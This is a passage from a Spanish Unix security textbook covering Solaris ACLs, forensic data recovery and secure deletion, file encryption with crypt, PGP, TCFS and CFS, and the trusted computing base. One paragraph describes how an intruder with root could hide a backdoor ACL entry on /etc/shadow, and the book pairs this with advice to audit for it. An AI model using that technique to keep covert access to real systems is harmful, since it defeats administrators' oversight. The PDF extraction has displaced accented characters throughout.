  • 4.6. LISTAS DE CONTROL DE ACCESO: ACLS 59sobre un fichero no tenemos m´s que hacer un listado largo: a anita:~# ls -l /usr/local/sbin/sshd -rwx------ 1 root bin 2616160 Apr 28 1997 /usr/local/sbin/sshd anita:~#Viendo el resultado, directamente sabemos que el fichero sshd puede ser ejecutado, modificado yle´ por el administrador, pero por nadie m´s; sin embargo, no conocemos el estado de la lista ıdo ade control de acceso asociada al archivo. Para ver esta lista, en Solaris se ha de utilizar la ordengetfacl: anita:/# getfacl /usr/local/sbin/sshd # file: /usr/local/sbin/sshd # owner: root # group: bin user::rwx group::--- #effective:--- mask:--- other:--- anita:/#Acabamos de visualizar una lista de control de acceso de Solaris; en primer lugar se nos indica elnombre del fichero, su propietario y su grupo, todos precedidos por ‘#’. Lo que vemos a continua-ci´n es la propia lista de control: los campos user, group y other son b´sicamente la interpretaci´n o a oque getfacl hace de los permisos del fichero (si nos fijamos, coincide con el resultado del ls -l).El campo mask es muy similar al umask cl´sico: define los permisos m´ximos que un usuario (a a aexcepci´n del propietario) o grupo puede tener sobre el fichero. Finalmente, el campo effective onos dice, para cada usuario (excepto el propietario) o grupo el efecto que la m´scara tiene sobre los apermisos: es justamente el campo que tenemos que analizar si queremos ver qui´n puede acceder eal archivo y de qu´ forma. eSin embargo, hasta ahora no hemos observado nada nuevo; podemos fijarnos que la estructurade la lista de control de acceso otorga los mismos permisos que las ternas cl´sicas. Esto es algo anormal en todos los Unix: si no indicamos lo contrario, al crear un fichero se le asocia una ACLque coincide con los permisos que ese archivo tiene en el sistema (cada archivo tendr´ una lista aasociada, igual que tiene unos permisos); de esta forma, el resultado anterior no es m´s que la visi´n a oque getfacl tiene de los bits rwx del fichero ([Gal96c]).Lo interesante de cara a la protecci´n de ficheros es extender los permisos cl´sicos del archivo, o amodificando su lista asociada. Esto lo podemos conseguir con la orden setfacl: anita:~# setfacl -m user:toni:r-x /usr/local/sbin/sshd anita:~# getfacl /usr/local/sbin/sshd # file: /usr/local/sbin/sshd # owner: root # group: bin user::rwx user:toni:r-x #effective:--- group::--- #effective:--- mask:--- other:--- anita:~#Como vemos, acabamos de modificar la lista de control de acceso del archivo para asignarle a tonipermiso de ejecuci´n y lectura sobre el mismo. La orden setfacl se utiliza principalmente de o
  • 60 CAP´ ITULO 4. EL SISTEMA DE FICHEROStres formas: o bien a˜adimos entradas a la ACL, mediante la opci´n -m seguida de las entradas n oque deseemos a˜adir separadas por comas (lo que hemos hecho en este caso, aunque no se han nutilizado comas porque s´lo hemos a˜adido una entrada), o bien utilizamos el par´metro -s para o n areemplazar la ACL completa (hemos de indicar todas las entradas, separadas tambi´n por comas), eo bien borramos entradas de la lista con la opci´n -d (de sintaxis similar a -m). Cada entrada de ola ACL tiene el siguiente formato: tipo:uid|gid:permisosEl tipo indica a qui´n aplicar los permisos (por ejemplo, user para el propietario del archivo, o emask para la m´scara), el UID indica el usuario al que queremos asociar la entrada (como hemos avisto, se puede utilizar tambi´n el login, y el GID hace lo mismo con el grupo (de la misma forma, ese puede especificar su nombre simb´lico). Finalmente, el campo de permisos hace referencia a los opermisos a asignar, y puede ser especificado mediante s´ ımbolos rwx- o de forma octal.Acabamos de indicar que el usuario toni tenga permiso de lectura y ejecuci´n en el archivo; no oobstante, si ahora este usuario intenta acceder al fichero en estos modos obtendr´ un error: a anita:/usr/local/sbin$ id uid=100(toni) gid=10(staff) anita:/usr/local/sbin$ ./sshd bash: ./sshd: Permission denied anita:/usr/local/sbin$¿Qu´ ha sucedido? Nada anormal, simplemente est´ actuando la m´scara sobre sus permisos (antes e a ahemos dicho que debemos fijarnos en el campo effective, y aqu´ podemos comprobar que no se ıha modificado). Para solucionar esto hemos de modificar el campo mask: anita:~# setfacl -m mask:r-x /usr/local/sbin/sshd anita:~#Si ahora toni intenta acceder al fichero para leerlo o ejecutarlo, ya se le va a permitir: anita:/usr/local/sbin$ id uid=100(toni) gid=10(staff) anita:/usr/local/sbin$ ./sshd /etc/sshd_config: No such file or directory ...Aunque obtenga un error, este error ya no depende de la protecci´n de los ficheros sino de la oconfiguraci´n del programa: el administrador obtendr´ el mismo error. No obstante, s´ que hay o ıa ıdiferencias entre una ejecuci´n de toni y otra del root, pero tambi´n son impuestas por el resto del o esistema operativo Unix: toni no podr´ utilizar recursos a los que no le est´ permitido el acceso, ıa acomo puertos bien conocidos, otros ficheros, o procesos que no le pertenezcan. Hay que recordarque aunque un usuario ejecute un archivo perteneciente al root, si el fichero no est´ setuidado los aprivilegios del usuario no cambian. Sucede lo mismo que pasar´ si el usuario tuviera permiso de ıaejecuci´n normal sobre el fichero, pero ´ste realizara tareas privilegiadas: podr´ ejecutarlo, pero o e ıaobtendr´ error al intentar violar la protecci´n del sistema operativo. ıa oEn Solaris, para indicar que una lista de control de acceso otorga permisos no reflejados en losbits rwx se situa un s´ ımbolo ‘+’ a la derecha de los permisos en un listado largo: anita:~# ls -l /usr/local/sbin/sshd -rwx------+ 1 root bin 2616160 Apr 28 1997 /usr/local/sbin/sshd anita:~#Otra caracter´ıstica que tiene Solaris es la capacidad de leer las entradas de una lista de controlde acceso desde un fichero en lugar de indicarlas en la l´ınea de ´rdenes, mediante la opci´n -f de o osetfacl; el formato de este fichero es justamente el resultado de getfacl, lo que nos permite copiarACLs entre archivos de una forma muy c´moda: o
  • ´4.7. RECUPERACION DE DATOS 61 anita:~# getfacl /usr/local/sbin/sshd >/tmp/fichero anita:~# setfacl -f /tmp/fichero /usr/local/sbin/demonio anita:~# getfacl /usr/local/sbin/demonio # file: /usr/local/sbin/demonio # owner: root # group: other user::rwx user:toni:r-x #effective:r-x group::--- #effective:--- mask:r-x other:--- anita:~#Esto es equivalente a utilizar una tuber´ entre las dos ´rdenes, lo que producir´ el mismo resultado: ıa o ıa anita:~# getfacl /usr/local/sbin/sshd | setfacl -f - /usr/local/sbin/demonioAntes de finalizar este apartado dedicado a las listas de control de acceso, quiz´s sea conveniente acomentar el principal problema de estos mecanismos. Est´ claro que las ACLs son de gran ayuda apara el administrador de sistemas Unix, tanto para incrementar la seguridad como para facilitarciertas tareas; sin embargo, es f´cil darse cuenta de que se pueden convertir en algo tambi´n de a egran ayuda, pero para un atacante que desee situar puertas traseras en las m´quinas. Imaginemos asimplemente que un usuario autorizado de nuestro sistema aprovecha el ultimo bug de sendmail ´(realmente nunca hay un ‘´ltimo’) para conseguir privilegios de administrador en una m´quina; u acuando se ha convertido en root modifica la lista de control de acceso asociada a /etc/shadow ycrea una nueva entrada que le da un permiso total a su login sobre este archivo. Una vez hechoesto, borra todo el rastro y corre a avisarnos del nuevo problema de sendmail, problema quer´pidamente solucionamos, le damos las gracias y nos olvidamos del asunto. ¿Nos olvidamos del aasunto? Tenemos un usuario que, aunque los bits rwx no lo indiquen, puede modificar a su gusto unarchivo crucial para nuestra seguridad. Contra esto, poco podemos hacer; simplemente comprobarfrecuentemente los listados de todos los ficheros importantes (ahora entendemos por qu´ aparece eel s´ ımbolo ‘+’ junto a las ternas de permisos), y si encontramos que un fichero tiene una lista decontrol que otorga permisos no reflejados en los bits rwx, analizar dicha lista mediante getfacl yverificar que todo es correcto. Es muy recomendable programar un par de shellscripts simples, queautomaticen estos procesos y nos informen en caso de que algo sospechoso se detecte.4.7 Recuperaci´n de datos oLa inform´tica forense es un campo que d´ a d´ toma importancia; de la misma forma que la medi- a ıa ıacina forense es capaz de extraer informaci´n valiosa de un cad´ver, incluso mucho despu´s de haber o a emuerto, la inform´tica forense pretende extraer informaci´n de un ‘cad´ver’ computerizado (por a o aejemplo, un sistema en el que un intruso ha borrado sus huellas), tambi´n incluso mucho despu´s e ede haber ‘muerto’ (esto es, haber sido borrado). Aunque las t´cnicas de recuperaci´n de datos en e oUnix se aplican habitualmente para potenciar la seguridad de un equipo (por ejemplo, como hemosdicho, para analizar el alcance real de un acceso no autorizado), ´stas mismas t´cnicas utilizadas e epor un atacante pueden llegar a comprometer gravemente la seguridad del sistema: un intruso quehaya conseguido cierto nivel de privilegio puede recuperar, por ejemplo, el texto plano de un docu-mento que un usuario haya cifrado con pgp y posteriormente borrado – almacenando unicamente ´el documento cifrado –. Aunque esto no es tan trivial como en otros sistemas menos seguros (enlos que incluso se facilitan herramientas tipo undelete), parece claro que este tipo de actividadesconstituyen una amenaza a la seguridad (principalmente a la privacidad) de cualquier sistema Unix.En 1996, Peter Gutmann public´ [Gut96], un excelente art´ o ıculo donde se demostr´ que la recu- operaci´n de datos de memoria (esto incluye por supuesto la memoria secundaria) es posible con un o
  • 62 CAP´ ITULO 4. EL SISTEMA DE FICHEROSequipamiento relativamente barato, de entre 1000 y 2500 d´lares, incluso tras sobreescribir varias oveces los datos a borrar. Hasta ese momento casi todo el trabajo realizado en el campo de la des-trucci´n ‘segura’ de datos se habia limitado a est´ndares de organismos de defensa estadounidenses o a([Cen91], [Age85]. . . ). Como el propio Gutmann explica, estos trabajos – aparte de quedar anticua-dos – no mostraban toda la realidad sobre la destrucci´n y recuperaci´n de datos, sino que ofrec´ o o ıanuna informaci´n posiblemente inexacta; de esta forma las agencias estadounidenses confund´ a la o ıanopini´n p´blica (y a los servicios de pa´ hostiles) asegurando as´ el acceso de la propia agencia a o u ıses ıla informaci´n, y al mismo tiempo proteg´ sus propios datos mediante gu´ y est´ndares clasifi- o ıan ıas acados para uso interno.El art´ıculo de Gutmann se puede considerar la base de la inform´tica forense actual, un campo aque como hemos dicho, d´ a d´ cobra importancia; centr´ndonos en la rama de este campo rela- ıa ıa ativa a Unix (se le suele denominar Unix Forensics) podemos encontrar herramientas para realizarborrado seguro de datos, como srm (Secure rm), del grupo de hackers THC (The Hacker´s Choice);este software implementa un algoritmo de borrado seguro bas´ndose en [Gut96]. Dicho algoritmo aefectua principalmente un procedimiento de sobreescritura casi 40 veces, haciendo un flush de lacach´ de disco despu´s de cada una de ellas; adem´s trunca el fichero a borrar y lo renombra alea- e e atoriamente antes de efectuar el unlink(), de forma que para un potencial atacante sea m´s dif´ a ıcilobtener cualquier informaci´n del archivo una vez borrado. srm se distribuye dentro de un paquete osoftware denominado secure-delete, donde tambi´n podemos encontrar otras herramientas rela- ecionadas con la eliminaci´n segura de datos: smem (borrado seguro de datos en memoria principal), osfill (borrado seguro de datos en el espacion disponible de un disco) y por ultimo sswap (borrado ´seguro de datos en el ´rea de swap de Linux); todos los algoritmos utilizados en estos programas aest´n basados en el art´ a ıculo de Gutmann del que antes hemos hablado.Otra herramienta importante a la hora de hablar de Unix Forensics, pero esta vez desde el la-do opuesto a secure-delete – esto es, desde el punto de vista de la recuperaci´n de datos – es sin oduda The Coroner´s Toolkit, obra de dos reconocidos expertos en seguridad: Wietse Venema y DanFarmer. En verano de 1999, concretamente el 6 de agosto, en el IBM T.J. Watson Research Centerde Nueva York estos dos expertos dieron una clase sobre Unix Forensics, en la que mostraban c´mooextraer informaci´n de este sistema operativo, no s´lo del sistema de ficheros, sino tambi´n de la o o ered, el sistema de logs o los procesos que se ejecutan en una m´quina. Lamentablemente, The Coro- aner´s Toolkit a´n no se encuentra disponible, pero es posible ojear lo que va a ser esta herramienta uen las transparencias de esta conferencia, disponibles en http://www.porcupine.org/forensics/,donde se muestra todo lo que un exhaustivo an´lisis sobre Unix puede – y tambi´n lo que no puede a e– conseguir.El an´lisis forense, especialmente la recuperaci´n de datos, es especialmente importante a la hora a ode analizar los alcances de una intrusi´n a un equipo. En estas situaciones, es muy posible que oel atacante modifique ficheros de log (cuando no los borra completamente), troyanize programas oejecute procesos determinados: es aqu´ donde la persona encargada de retornar al sistema a la nor- ımalidad debe desconfiar de cuanto la m´quina le diga, y recurrir al an´lisis forense para determinar a ael impacto real del ataque y devolver el sistema a un correcto funcionamiento.4.8 Almacenamiento seguro4.8.1 La orden crypt(1)La orden crypt permite cifrar y descifrar ficheros en diferentes sistemas Unix; si no recibe par´me- atros lee los datos de la entrada est´ndar y los escribe en la salida est´ndar, por lo que seguramente a ahabremos de redirigir ambas a los nombres de fichero adecuados. Un ejemplo simple de su usopuede ser el siguiente: $ crypt <fichero.txt >fichero.crypt
  • 4.8. ALMACENAMIENTO SEGURO 63 Enter key: $En el anterior ejemplo hemos cifrado utilizando crypt el archivo fichero.txt y guardado el resul-tado en fichero.crypt; el original en texto claro se mantiene en nuestro directorio, por lo que siqueremos evitar que alguien lo lea deberemos borrarlo.Para descifrar un fichero cifrado mediante crypt (por ejemplo, el anterior) utilizamos la mismaorden y la misma clave: $ crypt <fichero.crypt>salida.txt Enter key: $El anterior comando ha descifrado fichero.crypt con la clave tecleada y guardado el resultado enel archivo salida.txt, que coincidir´ en contenido con el anterior fichero.txt. acrypt no se debe utilizar nunca para cifrar informaci´n confidencial; la seguridad del algorit- omo de cifra utilizado por esta orden es m´ ınima, ya que crypt se basa en una m´quina con un rotor ade 256 elementos similar en muchos aspectos a la alemana Enigma, con unos m´todos de ataque er´pidos y conocidos por todos ([RW84]). Por si esto fuera poco, si en lugar de teclear la clave acuando la orden nos lo solicita lo hacemos en l´ ınea de comandos, como en el siguiente ejemplo: $ crypt clave < fichero.txt > fichero.crypt $Entonces a la debilidad criptogr´fica de crypt se une el hecho de que en muchos Unices cualquier ausuario puede observar la clave con una orden tan simple como ps (no obstante, para minimizar es-te riesgo, el propio programa guarda la clave y la elimina de su l´ ınea de argumentos nada m´s leerla). aObviamente, la orden crypt(1) no tiene nada que ver con la funci´n crypt(3), utilizada a la ohora de cifrar claves de usuarios, que est´ basada en una variante del algoritmo des y se puede aconsiderar segura en la mayor´ de entornos. ıa4.8.2 PGP: Pretty Good PrivacyEl software PGP, desarrollado por el cript´logo estadounidense Phil Zimmermann ([Zim95a], o[Zim95b]), es mundialmente conocido como sistema de firma digital para correo electr´nico. Aparte ode esta funci´n, PGP permite tambi´n el cifrado de archivos de forma convencional mediante o ecriptograf´ sim´trica ([Gar95]); esta faceta de PGP convierte a este programa en una excelente ıa eherramienta para cifrar archivos que almacenamos en nuestro sistema; no es el mismo mecanismoque el que se emplea para cifrar un fichero que vamos a enviar por correo, algo que hay que hacerutilizando la clave p´blica del destinatario, sino que es un m´todo que no utiliza para nada los u eanillos de PGP, los userID o el cifrado asim´trico. Para ello utilizamos la opci´n -c7 desde l´ e o ıneade ´rdenes: o anita:~$ pgp -c fichero.txt No configuration file found. Pretty Good Privacy(tm) 2.6.3i - Public-key encryption for the masses. (c) 1990-96 Philip Zimmermann, Phil’s Pretty Good Software. 1996-01-18 International version - not for use in the USA. Does not use RSAREF. Current time: 2000/03/02 07:18 GMT You need a pass phrase to encrypt the file. 7 Los ejemplos se han realizado con PGP 2.6.3i, en versiones posteriores han cambiado la sintaxis y la forma detrabajar.
  • 64 CAP´ ITULO 4. EL SISTEMA DE FICHEROS Enter pass phrase: Enter same pass phrase again: Preparing random session key...Just a moment.... Ciphertext file: fichero.txt.pgp anita:~$Esta orden nos preguntar´ una clave para cifrar, una pass phrase, que no tiene por qu´ ser (ni a ees recomendable que lo sea) la misma que utilizamos para proteger la clave privada, utilizada enel sistema de firma digital. A partir de la clave tecleada (que obviamente no se muestra en pan-talla), PGP generar´ un archivo denominado fichero.txt.pgp cuyo contenido es el resultado de acomprimir y cifrar (en este orden) el archivo original. Obviamente, fichero.txt no se eliminaautom´ticamente, por lo que es probable que deseemos borrarlo a mano. aSi lo que queremos es obtener el texto en claro de un archivo previamente cifrado simplementehemos de pasar como par´metro el nombre de dicho fichero: a anita:~$ pgp fichero.txt.pgp No configuration file found. Pretty Good Privacy(tm) 2.6.3i - Public-key encryption for the masses. (c) 1990-96 Philip Zimmermann, Phil’s Pretty Good Software. 1996-01-18 International version - not for use in the USA. Does not use RSAREF. Current time: 2000/03/02 07:24 GMT File is conventionally encrypted. You need a pass phrase to decrypt this file. Enter pass phrase: Just a moment....Pass phrase appears good. . Plaintext filename: fichero.txt anita:~$Como vemos, se nos pregunta la clave que hab´ ıamos utilizado para cifrar el archivo, y si es correctase crea el fichero con el texto en claro; como suced´ antes, el archivo original no se elimina, por lo ıaque tendremos ambos en nuestro directorio.PGP ofrece un nivel de seguridad much´ ısimo superior al de crypt(1), ya que utiliza algoritmos decifra m´s robustos: en lugar de implementar un modelo similar a Enigma, basado en m´quinas de a arotor, PGP ofrece cifrado sim´trico principalmente mediante IDEA, un algoritmo de clave secreta edesarrollado a finales de los ochenta por Xuejia Lai y James Massey. Aparte de IDEA, en versionesposteriores a la utilizada aqu´ se ofrecen tambi´n Triple DES (similar a DES pero con una longitud ı ede clave mayor) y CAST5, un algoritmo canadiense que hasta la fecha s´lo ha podido ser atacado ocon ´xito mediante fuerza bruta; este ultimo es el cifrador sim´trico utilizado por defecto en PGP e ´ e5.x.4.8.3 TCFS: Transparent Cryptographic File SystemTCFS es un software desarrollado en la Universidad de Salerno y disponible para sistemas Linuxque proporciona una soluci´n al problema de la privacidad en sistemas de ficheros distribuidos como oNFS: t´ıpicamente en estos entornos las comunicaciones se realizan en texto claro, con la enormeamenaza a la seguridad que esto implica. TCFS almacena los ficheros cifrados, y son pasados atexto claro antes de ser le´ ıdos; todo el proceso se realiza en la m´quina cliente, por lo que las claves anunca son enviadas a trav´s de la red. eLa principal diferencia de TCFS con respecto a otros sistemas de ficheros cifrados como CFS es que,mientras que ´stos operan a nivel de aplicaci´n, TCFS lo hace a nivel de n´cleo, consiguiendo as´ e o u ıuna mayor transparencia y seguridad. Obviamente esto tiene un grave inconveniente: TCFS s´lo o
  • 4.8. ALMACENAMIENTO SEGURO 65est´ dise˜ado para funcionar dentro del n´cleo de sistemas Linux, por lo que si nuestra red de Unix a n uutiliza otro clon del sistema operativo, no podremos utilizar TCFS correctamente. No obstante,esta gran integraci´n de los servicios de cifrado en el sistema de los ficheros hace que el modelo sea otransparente al usuario final.Para utilizar TCFS necesitamos que la m´quina que exporta directorios v´ NFS ejecute el demonio a ıaxattrd; por su parte, los clientes han de ejecutar un n´cleo compilado con soporte para TCFS. uAdem´s, el administrador de la m´quina cliente ha de autorizar a los usuarios a que utilicen TCFS, a agenerando una clave que cada uno de ellos utilizar´ para trabajar con los ficheros cifrados; esto se aconsigue mediante tcfsgenkey, que genera una entrada para cada usuario en /etc/tcfspasswd: rosita:~# tcfsgenkey login: toni password: now we’ll generate the des key. press 10 keys:********** Ok. rosita:~# cat /etc/tcfspasswd toni:2rCmyOUsM5IA= rosita:~#Una vez que un usuario tiene una entrada en /etc/tcfspasswd con su clave ya puede acceder aficheros cifrados; para ello, en primer lugar utilizar´ tcfslogin para insertar su clave en el kernel, atras lo cual puede ejecutar la variante de mount distribuida con TCFS para montar los sistemas queel servidor exporta. Sobre los archivos de estos sistemas, se utiliza la variante de chattr de TCFSpara activar o desactivar el atributo X (podemos visualizar los atributos de un fichero con lsattr),que indica que se trata de archivos que necesitan al demonio de TCFS para trabajar sobre ellos(cifrando o descifrando). Finalmente, antes de abandonar una sesi´n se ha de ejecutar tcfslogout, ocuya funci´n es eliminar la clave del kernel de Linux. Tambi´n es necesaria una variante de passwd, o eproporcionada con TCFS, que regenera las claves de acceso a archivos cifrados cuando un usuariocambia su password.TCFS utiliza uno de los cuatro modos de funcionamiento que ofrece el est´ndar DES ([oS80]) adenominado CBC (Cipher Block Chaining). El principal problema de este modelo (aparte de lapotencial inseguridad de DES) es la facilidad para insertar informaci´n al final del fichero cifrado, opor lo que es indispensable recurrir a estructuras que permitan detectar el final real de cada archivo;otro problema, menos peligroso a priori, es la repetici´n de patrones en archivos que ocupen m´s de o a34 Gigabytes (aproximadamente), que puede conducir, aunque es poco probable, a un criptoan´lisis aexitoso en base a estas repeticiones. M´s peligroso es el uso del mismo password de entrada al sis- atema como clave de cifrado utilizando la funci´n resumen MD5 (el peligro no proviene del uso de oesta funci´n hash, sino de la clave del usuario); previsiblemente en futuras versiones de TCFS se outilizar´n passphrases similares a las de PGP para descifrar y descifrar. a4.8.4 Otros m´todos de almacenamiento seguro eEn los ultimos a˜os los usuarios de Unix se han concienciado cada vez m´s con la seguridad de los ´ n adatos que poseen en sus sistemas, especialmente de la privacidad de los mismos: un sistema fiableha de pasar necesariamente por un m´todo de almacenamiento seguro; por supuesto, esta preocu- epaci´n de los usuarios autom´ticamente se traduce en m´s investigaciones y nuevos desarrollos en o a aeste campo de la seguridad. En este cap´ ıtulo hemos analizado las ventajas, las desventajas y elfuncionamiento de algunos de estos sistemas, desde el modelo cl´sico y habitual en Unix hasta las aultimas herramientas de an´lisis forense y su problem´tica, pasando por aplicaciones tan simples´ a acomo crypt o tan complejas como pgp; aunque se ha pretendido dar una visi´n general de lo que ose entiende por un almacenamiento seguro en Unix, es imposible tratar todas las implementacionesde sistemas que incrementan la seguridad en la actualidad. No obstante, antes de finalizar este
  • 66 CAP´ ITULO 4. EL SISTEMA DE FICHEROScap´ıtulo hemos preferido comentar algunas de las caracter´ ısticas de sistemas que se han hecho ya,se est´n haciendo, o previsiblemente se har´n en un futuro no muy lejano un hueco importante a aentre los mecanismos de almacenamiento seguro en Unix.No podemos finalizar sin hablar del sistema CFS (Cryptographic File System), del experto enseguridad Matt Blaze ([Bla93]), que se ha convertido en el sistema m´s utilizado en entornos donde acoexisten diferentes clones de Unix (ya hemos comentado el problema de TCFS y su dependenciacon Linux). Provee de servicios de cifrado a cualquier sistema de ficheros habitual en Unix, NFSincluido, utilizando una combinaci´n de varios modos de trabajo de DES que son lo suficientemente oligeros como para no sobrecargar demasiado a una m´quina normal pero lo suficientemente pesados acomo para proveer de un nivel aceptable de seguridad. Los usuarios no tienen m´s que asociar una aclave a los directorios a proteger para que CFS cifre y descifre sus contenidos de forma transparenteutilizando dicha clave; el texto en claro de los mismos nunca se almacena en un dispositivo o setransmite a trav´s de la red, y los procedimientos de copia de seguridad en la m´quina no se ven e aafectados por el uso de CFS. Todo el proceso se realiza en el espacio de usuario (a diferencia deTCFS, que operaba dentro del kernel de Linux) utilizando principalmente el demonio cfsd en lam´quina donde se encuentren los sistemas cifrados. aPeter Gutmann, del que ya hemos hablado en este cap´ ıtulo, desarroll´ en la primera mitad de olos noventa SFS (Secure File System). Este modelo de almacenamiento seguro se dise˜´ original- nomente para sistemas MS-DOS o Windows, donde funciona como un manejador de dispositivos m´s, aaunque en la actualidad existen tambi´n versiones para Windows 95, Windows NT y OS/2. No eest´ portado a Unix, pero aqu´ lo citamos porque existe un sistema de almacenamiento seguro para a ıUnix denominado tambi´n Secure File System, SFS, pero no tiene nada que ver con el original de eGutmann. El SFS de Unix funciona de una forma similar a CFS pero utilizando el criptosistemaBlowfish y una versi´n minimalista de RSA en lugar de DES; no vamos a entrar en detalles de este osoftware principalmente porque su uso en entornos Unix no est´ ni de lejos tan extendido como el ade CFS.La criptograf´ es la herramienta principal utilizada en la mayor´ de los sistemas de almacena- ıa ıamiento seguro; sin embargo, todos ellos plantean un grave problema: toda su seguridad reside en laclave de cifrado, de forma que el usuario se encuentra indefenso ante m´todos legales – o ilegales – eque le puedan obligar a desvelar esta clave una vez que se ha determinado la presencia de informaci´n ocifrada en un dispositivo de almacenamiento. Esto, que nos puede parecer algo exagerado, no lo esen absoluto: todos los expertos en criptograf´ coinciden en afirmar que los m´todos de ataque m´s ıa e aefectivos contra un criptosistema no son los efectuados contra el algoritmo, sino contra las personas(chantaje, amenazas, presiones judiciales. . . ). Intentando dar soluci´n a este problema, durante los oultimos a˜os de la d´cada de los noventa, prestigiosos investigadores de la talla de Roger Need-´ n eham, Ross Anderson o Adi Shamir ([ANS98]) han establecido las bases de sistemas seguros basadosen modelos esteganogr´ficos, con desarrollos especialmente importantes sobre plataformas Linux a([MK99], [vSS98]. . . ). La disponibilidad del c´digo fuente completo de este clon de Unix unida a su opol´ıtica de desarrollo ha propiciado enormemente estos avances, hasta el punto de que existen en laactualidad sistemas de ficheros basados en esteganograf´ que se insertan en el kernel igual que lo ıahace un sistema normal como ufs o nfs, o que se a˜aden a ext2 proporcionando funciones de cifrado. nLa idea es sencilla: si por ejemplo tenemos cinco archivos cifrados con una aplicaci´n como pgp, ocualquier atacante con acceso al dispositivo y que haga unas operaciones sobre ficheros puede deter-minar que tenemos exactamente esos archivos cifrados; con esta informaci´n, su labor para obtener ola informaci´n est´ muy clara: se ha de limitar a obtener las cinco claves privadas usadas para cifrar o alos ficheros. Conocer el n´mero exacto es de una ayuda incalculable para el atacante. Con los siste- umas esteganogr´ficos, a pesar de que es imposible ocultar la existencia de cierta informaci´n cifrada, a oalguien que la inspeccione no va a poder determinar si la clave de descifrado que el propietario leha proporcionado otorga acceso a toda la informaci´n o s´lo a una parte de la misma. Un atacante o oque no posea todas las claves no va a poder descifrar todos los ficheros, y lo m´s importante: no a
  • 4.8. ALMACENAMIENTO SEGURO 67va a poder saber ni siquiera si otros archivos aparte de aquellos a los que ha accedido existen ono, aunque posea un acceso total al software y al soporte f´ ısico. Para conseguir esto se utiliza unapropiedad de ciertos mecanismos de seguridad denominada plausible deniability, algo que se vendr´ ıaa traducir como ‘negaci´n creible’; dicha propiedad permitir´ a un usuario negar de forma creible o ıaque en un dispositivo exista m´s informaci´n cifrada de la que ya se ha podido descubrir, o que a ocierta transacci´n se haya llevado a cabo. Volviendo al ejemplo de pgp, el usuario podr´ revelar o ıala clave de cifrado de s´lo uno o dos de los archivos, aquellos que no considere vitales, ocultando olas claves y la existencia del resto sin que el atacante sea capaz de determinar que la informaci´n oaccedida no es toda la existente.
  • 68 CAP´ ITULO 4. EL SISTEMA DE FICHEROS
  • Cap´ ıtulo 5Programas seguros, inseguros ynocivos5.1 Introducci´n oEn 1990 Barton P. Miller y un grupo de investigadores publicaron [MFS90], un art´ ıculo en el quese mostraba que demasiadas herramientas est´ndar (m´s del 25%) de Unix fallaban ante elementos a atan simples como una entrada anormal. Cinco a˜os m´s tarde otro grupo de investigaci´n, dirigido n a otambi´n por Barton P. Miller, realiz´ el estudio [MKL+ 95], lamentablemente no publicado; las con- e oclusiones en este ultimo estudio fueron sorprendentes: el sistema con las herramientas m´s estables ´ aera Slackware Linux, un Unix gratuito y de c´digo fuente libre que presentaba una tasa de fallos omuy inferior al de sistemas comerciales como Solaris o IRIX. Aparte de este hecho anecd´tico, era opreocupante comprobar como la mayor´ de problemas descubiertos en 1990 segu´ presente en los ıa ıasistemas Unix estudiados.Aunque por fortuna la calidad del software ha mejorado mucho en los ultimos a˜os1 , y esa mejora ´ nlleva asociada una mejora en la robustez del c´digo, los fallos y errores de dise˜o en aplicaciones o o nen el propio n´cleo son una de las fuentes de amenazas a la seguridad de todo sistema inform´tico. u aPero no s´lo los errores son problem´ticos, sino que existen programas – como los virus – realizados o aen la mayor´ de situaciones no para realizar tareas utiles sino para comprometer la seguridad de ıa ´una m´quina o de toda una red. Este tipo de programas s´lamente compromete la seguridad cuando a oafectan al administrador; si un virus infecta ficheros de un usuario, o si ´ste ejecuta un troyano, s´lo e opodr´ perjudicarse a s´ mismo: podr´ borrar sus ficheros, enviar correo en su nombre o matar sus a ı aprocesos, pero no hacer lo mismo con el resto de usuarios o el root. El problema para la seguridadviene cuando es el propio administrador quien utiliza programas contaminados por cualquier clasede fauna, y para evitar esto hay una medida de protecci´n b´sica: la prevenci´n. Es crucial que o a olas actividades como administrador se reduzcan al m´ ınimo, ejecutando como usuario normal lastareas que no requieran de privilegios. Cuando no quede m´s remedio que trabajar como root (por aejemplo a la hora de instalar software en el sistema), no hemos de ejecutar nada que no provengade una fuente fiable, e incluso as´ tomar precauciones en caso de que el programa realice funciones ım´ ınimamente delicadas para el sistema operativo (por ejemplo, probarlo antes en una m´quina de atesteo, o en entornos cerrados con chroot()). Es muy normal, sobre todo entre administradores deLinux, el recomendar que no se ejecute nada sin haber le´ previamente el c´digo fuente, o al menos ıdo oque dicho c´digo est´ disponible; esto, aunque es una soluci´n perfecta al problema, es inaplicable o e oen la mayor´ de situaciones. Por un lado, no todas las aplicaciones o sistemas tienen su c´digo ıa oabierto a sus usuarios, por lo que nos estar´ ıamos restringiendo a utilizar programas generalmenteno comerciales – algo que quiz´s no depende de nosotros, como administradores –. Por otro, resulta aabsurdo pensar que un administrador tenga el tiempo necesario para leer (y lo m´s importante, a 1 En Unix, claro. 69
  • 70 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOSpara comprobar) cada l´ ınea del c´digo de todos los programas instalados en sus m´quinas. o a5.2 La base fiable de c´mputo oLa base fiable (o segura) de c´mputo (Trusted Computing Base, TCB) es una caracter´ o ıstica deciertos Unices que incrementa la seguridad del sistema marcando ciertos elementos del mismo como‘seguros’. Aunque estos elementos son b´sicamente el hardware y ciertos ficheros, la parte software aes mucho m´s importante para el administrador que la m´quina f´ a a ısica, por lo que aqu´ hablaremos ıprincipalmente de ella. Los ficheros pertenecientes a la base segura de c´mputo, y la TCB en su oconjunto, tratan de asegurar al administrador que est´ ejecutando el programa que desea y no otro aque un intruso haya podido poner en su lugar (conteniendo, por ejemplo, un troyano). La TCBimplementa la pol´ıtica de seguridad del sistema inspeccionando y vigilando las interacciones entreentidades (procesos) y objetos (principalmente ficheros); dicha pol´ıtica suele consistir en un controlde accesos y en la reutilizaci´n de objetos (c´mo debe inicializarse o desinstalarse un objeto antes o ode ser reasignado).Los ficheros con la marca de seguridad activada son generalmente el propio n´cleo del sistema uoperativo y archivos que mantienen datos relevantes para la seguridad, contenidos en ciertos direc-torios como /tcb/ o /etc/auth/; cualquier fichero nuevo o que pertenezca a la TCB pero que hayasido modificado autom´ticamente tiene su marca desactivada. Puede ser activada o reactivada por ael administrador (por ejemplo, en AIX con la orden tcbck -a), aunque en algunos sistemas paraque un archivo pertenezca a la TCB tiene que haber sido creado con programas que ya pertenec´ ıana la TCB. Con este mecanismo se trata de asegurar que nadie, y especialmente el root, va a ejecu-tar por accidente c´digo peligroso: si el administrador ha de ejecutar tareas sensibles de cara a la 